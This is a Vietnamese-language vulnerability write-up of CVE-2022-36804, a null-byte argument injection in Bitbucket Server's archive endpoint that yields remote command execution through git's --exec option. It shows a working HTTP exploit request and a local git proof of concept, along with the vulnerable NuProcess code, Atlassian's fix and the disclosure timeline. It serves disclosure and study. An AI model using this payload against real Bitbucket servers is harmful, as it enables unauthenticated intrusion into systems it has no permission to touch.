Phân tích và xây dựng POC khai thác CVE-2022-36804


1. Introduction:

Mục tiêu nghiên cứu lần này sẽ là Bitbucket Server, một nền tảng thường được triển khai on-premise và sử dụng git cho nhiều hoạt động trong phần mềm. HPT đã phát hiện một lỗ hổng argument injection cho phép chúng tôi thực thi các lệnh tùy ý thông qua tham số --exec cho git. Lỗ hổng này tồn tại do cách các thư viện khởi tạo process ngầm khi xử lý các null bytes.

Tất cả các phiên bản Bitbucket Server và Datacenter được phát hành sau 6.10.17, bao gồm tất cả các phiên bản từ 7.0.0 đến 8.3.0 đều bị ảnh hưởng bởi lỗ hổng này. Sau đó, Atlassian đã khắc phục lỗ hổng này một cách nhanh chóng và gắn tag CVE-2022-36804 cho lỗ hổng này.

2. Methodology:

Để setup môi trường thực hiện nghiên cứu, chúng tôi đã thiết lập một container Docker chạy Bitbucket Server bằng cách sử dụng một image từ Docker Hub: https://hub.docker.com/r/atlassian/bitbucket-serverSau khi thiết lập môi trường, chúng tôi có thể sử dụng pspy để log tất cả các process với mục tiêu là tracking các điểm tiếp nhận (sinks) của lệnh git.

Trong khi pspy đang chạy, chúng tôi thực hiện một số action trong Bitbucket và hy vọng sẽ kích hoạt lệnh git bằng một cách nào đó. Ngoài ra, chúng tôi còn tạo một repository dưới dạng người dùng để xây dựng playground cho các lệnh sau này có thể gọi đến git. Để tìm các điểm tiếp nhận mà lệnh git được thực thi cùng với đầu vào từ người dùng, chúng tôi bắt đầu thay thế các tham số request liên quan đến repository đã tạo bằng một chuỗi kí tự ngẫu nhiên để xác định liệu nó có xuất hiện trong lệnh được thực thi hay không.

HPT thực hiện kiểm tra trong một khoảng thời gian ngắn và đã tìm thấy một lỗ hổng Argument injection trong một subcommand của git, tuy nhiên nó không có tác động gì đặc biệt tới bảo mật hệ thống (/rest/api/latest/projects/~USER/repos/repo1/browse?at=--help).

Cuối cùng, HPT cũng tình cờ phát hiện ra lỗ hổng command execution tại endpoint /rest/api/latest/projects/PROJECTKEY/repos/REPO/archive có chức năng truyền một bản archive của repository khi được request. Khi xem API documentaion cho endpoint này, nhận thấy có một tham số prefix được map tới "--prefix=" trong subcommand archive.

Để inject một tham số mới, HPT đã thử sử dụng byte null và bất ngờ phát hiện rằng khi cung cấp đầu vào padding%00--option%00padding, xuất hiện một lỗi với thông báo --option is not a option to git subcmd chứng tỏ việc inject đã thành công.

3. Exploitation:

Câu hỏi đặt ra là sau khi có thể thực hiện arguemnt injection, làm thế nào để chúng ta có thể thực thi RCE? Câu trả lời được tìm thấy trong các chức năng có sẵn trong subcommand git archive, cụ thể là tham số --exec được định nghĩa như sau trong Git’s documentation:

--exec=

Used with --remote to specify the path to the git-upload-archive on the remote side

Đầu tiên chúng ta có thể thấy tham số trên chưa thể thực thi một lệnh tuỳ ý vì nó đang cần path đến git-upload-archive, thêm vào đó, tham số này cũng yêu cầu chúng ta chỉ định --remote, thường là remote SSH repository. HPT đã tiến hành thử nghiệm trên local và phát hiện ra rằng khi gọi lệnh sau:

git archive --prefix xd --exec='echo pew#' --remote=file:///tmp/ -- blah

sẽ dẫn tới thực thi execve('/bin/sh','-c','echo pew# /tmp')

Do vậy, công việc còn lại chỉ là xây dựng một payload cho API endpoint trong Bitbucket. HPT có thể sử dụng argument injection và lợi dụng điểm yếu của các cờ --exec--remote trong archive subcommand để có thể thực thi RCE khi không cần xác thực với Bitbucket với nội dung payload:

GET /rest/api/latest/projects/{projectKey}/repos/{repoSlug}/archive?prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/haced%23'%00--remote=file:///%00x HTTP/1.1

Host: bitbucket.demo

User-Agent: HACKZ

Content-Length: 3

xxd

Để khai thác lỗ hổng này mà không cần, cần có public repository trong môi trường Bitbucket Server và ta cũng phải có thông tin về các biến projectKeyrepoSlug, đây là các điều kiện tiên quyết phải có để có thể khai thác thành công lỗ hổng này. Khi thực hiện nghiên cứu, đôi khi chúng ta tìm ra một lỗ hổng, nhưng quan trọng là cần hiểu bản chất của lỗ hổng đó là gì. Trong trường hợp này, việc phân tích nguyên nhân gốc của lỗ hổng này là cần thiết để chúng ta có thể hiểu tại sao byte null cho phép chúng ta inject các argument git archive subcommand.

HPT bắt đầu bằng việc phân tích ngược bản vá của Atlassian, và HPT nhận thấy Atlassian đã vá lỗ hổng bằng cách kiểm tra byte null trong tất cả các index của các argument được truyền tới com.zaxxer.nuprocess.NuProcessBuilder cho thấy rằng lớp này có thể chịu trách nhiệm phân tách lệnh qua byte null.

Sau khi đọc qua lớp com.zaxxer.nuprocess.NuProcessBuilder, HPT đã xác nhận giả thuyết ban đầu về lý do tại sao %00 hoạt động. Có thể thấy rằng com.zaxxer.nuprocess không sử dụng ProcessBuilder hoặc getRuntime().exec mà thay vào đó sử dụng hàm native Java_java_lang_ProcessImpl_forkAndExec yêu cầu char array làm command argument.

Các index trong char array được phân tách bằng byte null, và với cách hàm prepareProcess biến đổi các argument, HPT có thể tạo ra các index mới trong char array bằng cách inject byte null.

Để mô tả điều gì đang xảy ra khi chúng ta cung cấp đầu vào người dùng với byte null, chúng ta có thể nhìn vào flow dưới đây:

String Array to Char Array + VULN:

\x00 = {NULL}

["ONE","TWO","THREE","FOUR"] -> conv() (prepareProcess) -> "ONE{NULL}TWO{NULL}THREE{NULL}FOUR"

["git","sub","--safe=xyz","--other"] -> conv() (prepareProcess) -> "git{NULL}sub{NULL}--safe=xyz{NULL}--other"

exploited

["git","sub","--safe=xyz{NULL}--injected","--other"] -> conv() (prepareProcess) -> "git{NULL}sub{NULL}--safe=xyz{NULL}--injected{NULL}--other"

Dưới đây là đoạn mã gây lỗi, cụ thể function prepareProcess:

private void prepareProcess(List < String > command, String[] environment, Path cwd) throws IOException {

String[] cmdarray = command.toArray(new String[0]);

// See https://github.com/JetBrains/jdk8u_jdk/blob/master/src/solaris/classes/java/lang/ProcessImpl.java#L71-L83

byte[][] args = new byte[cmdarray.length - 1][];

int size = args.length; // For added NUL bytes

for (int i = 0; i < args.length; i++) {

args[i] = cmdarray[i + 1].getBytes();

size += args[i].length;

}

byte[] argBlock = new byte[size];

int i = 0;

for (byte[] arg: args) {

System.arraycopy(arg, 0, argBlock, i, arg.length);

i += arg.length + 1;

// No need to write NUL bytes explicitly

}

// See https://github.com/JetBrains/jdk8u_jdk/blob/master/src/solaris/classes/java/lang/ProcessImpl.java#L86

byte[] envBlock = toEnvironmentBlock(environment);

createPipes();

try {

// createPipes() returns the parent ends of the pipes, but forkAndExec requires the child ends

int[] child_fds = {

stdinWidow,

stdoutWidow,

stderrWidow

};

if (JVM_MAJOR_VERSION >= 10) {

pid = com.zaxxer.nuprocess.internal.LibJava10.Java_java_lang_ProcessImpl_forkAndExec(

JNIEnv.CURRENT,

this,

LaunchMechanism.VFORK.ordinal() + 1,

toCString(System.getProperty("java.home") + "/lib/jspawnhelper"), // used on Linux

toCString(cmdarray[0]),

argBlock, args.length,

envBlock, environment.length,

(cwd != null ? toCString(cwd.toString()) : null),

child_fds,

(byte) 0 /*redirectErrorStream*/ );

} else {

// See https://github.com/JetBrains/jdk8u_jdk/blob/master/src/solaris/classes/java/lang/UNIXProcess.java#L247

// Native source code: https://github.com/JetBrains/jdk8u_jdk/blob/master/src/solaris/native/java/lang/UNIXProcess_md.c#L566

pid = com.zaxxer.nuprocess.internal.LibJava8.Java_java_lang_UNIXProcess_forkAndExec(

JNIEnv.CURRENT,

this,

LaunchMechanism.VFORK.ordinal() + 1,

toCString(System.getProperty("java.home") + "/lib/jspawnhelper"), // used on Linux

toCString(cmdarray[0]),

argBlock, args.length,

envBlock, environment.length,

(cwd != null ? toCString(cwd.toString()) : null),

child_fds,

(byte) 0 /*redirectErrorStream*/ );

}

} finally {

// If we call createPipes, even if launching the process then fails, we need to ensure

// the child side of the pipes are closed. The parent side will be closed in onExit

closePipes();

}

}

Và đây là đoạn code được cập nhật từ bản vá của Atlassian giúp khắc phục lỗ hổng này:

private void ensureNoNullCharacters(final Listcommands) {

for (final String command : commands) {

if (command.indexOf(0) >= 0) {

throw new IllegalArgumentException("Commands may not contain null characters");

}

}

}

4. Vendor Response:

  • Ngày 19 tháng 7 năm 2022: Lỗ hổng RCE được submit cho Atlassian thông qua BugCrowd.
  • Ngày 21 tháng 7 năm 2022: Lỗ hổng RCE được phân loại ưu tiên bởi BugCrowd
  • Ngày 21 tháng 7 năm 2022: Atlassian xác nhận và trao giải 6.000 USD cho lỗ hổng RCE.
  • Ngày 24 tháng 8 năm 2022: Atlassian submit CVE-2022-36804 và công bố một advisory.
  • Ngày 24 tháng 8 năm 2022: Atlassian đã cung cấp bản patch. 

5. Vendor Response:

Các chi tiết khắc phục được cung cấp từ advisory của Atlassian đảm bảo rằng lỗ hổng này không thể bị khai thác.

Bạn có thể tìm thấy advisory từ Atlassian tại đây: Link